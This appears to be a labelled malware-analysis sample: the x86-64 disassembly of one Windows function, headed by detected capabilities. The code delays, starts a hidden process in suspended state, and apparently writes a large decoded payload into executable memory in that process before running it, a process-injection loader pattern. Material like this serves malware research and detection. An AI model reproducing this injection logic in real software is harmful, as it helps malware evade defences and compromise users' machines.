Function at 0x4010cf
Capabilities:
Create process on windows
Create process suspended
Get common file path
Resolve path using msvcrt

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x620
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov eax, 0x3a98
mov r10, rax
mov rcx, r10
call sub.kernel32.dll_Sleep
movabs rax, 0x68
mov r8, rax
mov eax, 0
mov r11, rax
lea rax, [rbp - 0x80]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_memset
mov eax, 0x68
mov dword [rbp - 0x80], eax
movabs rax, 0
mov qword [rbp - 0x88], rax
movabs rax, 0x24ead4
mov qword [rbp - 0x90], rax
lea rax, [rbp - 0x4b0]
mov r10, rax
mov rcx, r10
call sub.msvcrt.dll__get_pgmptr
mov eax, 0x104
mov r11, rax
lea rax, [rbp - 0x5b4]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.kernel32.dll_GetWindowsDirectoryA
mov eax, 5
mov r11, rax
lea rax, [0x00402021]
mov r10, rax
mov rcx, r10
mov rdx, r11
call section..text
mov ecx, 0x14
mov r11, rcx
lea rcx, [0x00402027]
mov r10, rcx
mov qword [rbp - 0x5c0], rax
mov rcx, r10
mov rdx, r11
call section..text
mov r9, rax
lea rax, [rbp - 0x5b4]
mov r8, rax
mov rax, qword [rbp - 0x5c0]
mov r11, rax
lea rax, [rbp - 0x2a0]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_sprintf
mov eax, 9
mov r11, rax
lea rax, [0x0040203c]
mov r10, rax
mov rcx, r10
mov rdx, r11
call section..text
mov rcx, qword [rbp - 0x4b0]
mov r9, rcx
lea rcx, [rbp - 0x2a0]
mov r8, rcx
mov r11, rax
lea rax, [rbp - 0x4a8]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_sprintf
lea rax, [rbp - 0x18]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x80]
mov qword [rsp + 0x40], rax
lea rax, [rbp - 0x5b4]
mov qword [rsp + 0x38], rax
movabs rax, 0
mov qword [rsp + 0x30], rax
mov eax, 0x8000004
mov qword [rsp + 0x28], rax
mov eax, 0
mov qword [rsp + 0x20], rax
movabs rax, 0
mov r9, rax
movabs rax, 0
mov r8, rax
lea rax, [rbp - 0x4a8]
mov r11, rax
lea rax, [rbp - 0x2a0]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.kernel32.dll_CreateProcessA
mov eax, 0x40
mov qword [rsp + 0x28], rax
mov eax, 0x3000
mov qword [rsp + 0x20], rax
lea rax, [rbp - 0x90]
mov r9, rax
mov eax, 0
mov r8, rax
lea rax, [rbp - 0x88]
mov r11, rax
mov rax, qword [rbp - 0x18]
mov r10, rax
mov rcx, r10
mov rdx, r11
call fcn.004019c3
mov eax, 0x24ead4
mov r11, rax
lea rax, [0x00402046]
mov r10, rax
mov rcx, r10
mov rdx, r11
call section..text
movabs rcx, 0
mov qword [rsp + 0x20], rcx
movabs rcx, 0x24ead4
mov r9, rcx
mov r8, rax
mov rax, qword [rbp - 0x88]
mov r11, rax
mov rax, qword [rbp - 0x18]
mov r10, rax
mov rcx, r10
mov rdx, r11
call fcn.00401983
movabs rax, 0
mov qword [rsp + 0x20], rax
mov eax, 0x20
mov r9, rax
lea rax, [rbp - 0x90]
mov r8, rax
lea rax, [rbp - 0x88]
mov r11, rax
mov rax, qword [rbp - 0x18]
mov r10, rax
mov rcx, r10
mov rdx, r11
call fcn.00401a03
mov eax, 0
mov qword [rsp + 0x50], rax
movabs rax, 0
mov qword [rsp + 0x48], rax
movabs rax, 0
mov qword [rsp + 0x40], rax
movabs rax, 0
mov qword [rsp + 0x38], rax
mov eax, 0
mov qword [rsp + 0x30], rax
movabs rax, 0
mov qword [rsp + 0x28], rax
mov rax, qword [rbp - 0x88]
mov qword [rsp + 0x20], rax
mov rax, qword [rbp - 0x18]
mov r9, rax
mov eax, 0
mov r8, rax
mov eax, 0x20000000
mov r11, rax
lea rax, [rbp - 0x98]
mov r10, rax
mov rcx, r10
mov rdx, r11
call fcn.00401943
mov eax, 0
leave
ret